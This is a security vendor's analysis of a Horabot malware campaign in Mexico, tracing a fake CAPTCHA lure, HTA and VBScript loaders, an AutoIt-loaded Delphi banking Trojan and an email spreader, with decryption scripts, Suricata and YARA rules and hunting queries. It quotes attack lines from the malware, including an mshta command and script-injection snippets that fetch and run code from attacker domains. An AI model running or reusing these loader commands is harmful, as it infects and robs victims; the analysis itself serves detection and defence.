Introduction
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
|
1 |
mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta |
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
|
1 2 3 4 |
var scriptEle = document.createElement("script"); scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); scriptEle.setAttribute("type", "text/vbscript"); document.getElementsByTagName('head')[0].appendChild(scriptEle); |
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
|
1 2 3 4 |
var scriptEle = document.createElement("script"); scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); scriptEle.setAttribute("type", "text/vbscript"); document.getElementsByTagName('head')[0].appendChild(scriptEle); |
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
- Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
- Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
- Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
- Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
- Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path
C:\Users\Public\LAPTOP-0QF0NEUP4. - PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
- Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
- Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
- The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
- It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
- It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
| URL | Description |
| https://cgf.facturastbs[.]shop/0725/a/home (GET) | A page containing an encrypted configuration |
| https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST) | A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘ |
| https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST) |
A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS |
| https://cgf.facturastbs[.]shop/a/08/150822/au/at.html | HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase. |
| https://upstar.pics/a/08/150822/up/up (GET) | The resource was already unavailable at the time our testing was conducted. |
| https://cgf.midasx.site/a/08/150822/au/au (GET) | The page containing the first stage leading to the spreader. |
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
def decrypt_string(encrypted_hex): key_string = "0xFF0wx8066h" key_index = 0 result = "" current_key = int(encrypted_hex[0:2], 16) i = 2 while i < len(encrypted_hex): next_key = int(encrypted_hex[i:i+2], 16) if key_index >= len(key_string): key_index = 0 key_char = ord(key_string[key_index]) xored_value = next_key ^ key_char if xored_value > current_key: decrypted_char = xored_value - current_key else: decrypted_char = (xored_value + 0xFF) - current_key result += chr(decrypted_char) current_key = next_key key_index += 1 i += 2 return result |
Python implementation of the decryption routine
The encrypted strings can be retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration – a raw HTTP response – consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Additional configuration values are parsed insub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by appending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
|
1 |
##[key1][key2][key3][encrypted_hex_data]## |
Here’s a Python snippet to decode such traffic:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
def deobfuscate_traffic(obfuscated): if not (obfuscated.startswith("##") and obfuscated.endswith("##")): raise ValueError("Invalid format") core = obfuscated[2:-2] key1 = int(core[0:4]) key2 = int(core[4:8]) key3 = int(core[8:12]) hex_data = core[12:] current_key = key1 output_chars = [] for i in range(0, len(hex_data), 2): xored = int(hex_data[i:i+2], 16) high_byte = (current_key >> 8) & 0xFF original_char = chr(xored ^ high_byte) output_chars.append(original_char) current_key = ((current_key + xored) * key2 + key3) & 0xFFFF return "".join(output_chars) |
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
|
1 2 3 4 5 6 7 8 9 10 11 |
alert tcp any any -> any any ( \ msg:"Horabot C2 socket communication (##hex##)"; \ flow:established; \ content:"##"; depth:2; fast_pattern; \ content:"##"; endswith; \ pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \ classtype:trojan-activity; \ sid:1900000; \ rev:1; \ metadata:author Domenico; \ ) |
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
- Harvest emails via the MAPI namespace;
- Exfiltrate unique email addresses to the C2;
- Clean up the outbox;
- Filter the exfiltrated email addresses against a blocklist of keywords;
- Prepare a phishing email containing a malicious PDF;
- Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
- All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
- It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
- One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
import "pe" rule Horabot_Delphi_Trojan { meta: author = "maT" description = "Detects Horabot payload/trojan (Delphi DLL)" hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed" hash_02 = "4caa797130b5f7116f11c0b48013e430" hash_03 = "c882d948d44a65019df54b0b2996677f" condition: uint32be(0) == 0x4d5a5000 and filesize < 150MB and pe.is_dll() and pe.number_of_exports == 4 and pe.exports("dbkFCallWrapperAddr") and pe.exports("__dbk_fcall_wrapper") and pe.exports("TMethodImplementationIntercept") and pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/) } rule Horabot_AutoIT_Loader { meta: author = "maT" description = "Detects AutoIT script used as a loader by Horabot" strings: $winapi_01 = "Advapi32.dll" $winapi_02 = "CryptDeriveKey" $winapi_03 = "CryptDecrypt" $winapi_04 = "MemoryLoadLibrary" $winapi_05 = "VirtualAlloc" $winapi_06 = "DllCallAddress" $str_seed = "99521487" $str_func01 = "B080723_N" $str_func02 = "A040822_1" $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $ $opt_aes192 = "0x0000660f" // CALG_AES_192 $opt_md5 = "0x00008003" // CALG_MD5 condition: filesize < 100KB and all of ($winapi*) and ( 1 of ($str*) or all of ($opt*) ) } |
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
| VirusTotal Intelligence | entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”)) |
| URLScan | page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php) |
![Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24133444/horabot-campaign1.png)












![Fallback to hardcoded socket address (lifenews[.]pro:49569)](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24182634/horabot-campaign14.png)












The SOC Files: Time to “Sapecar”. Unpacking a new Horabot campaign in Mexico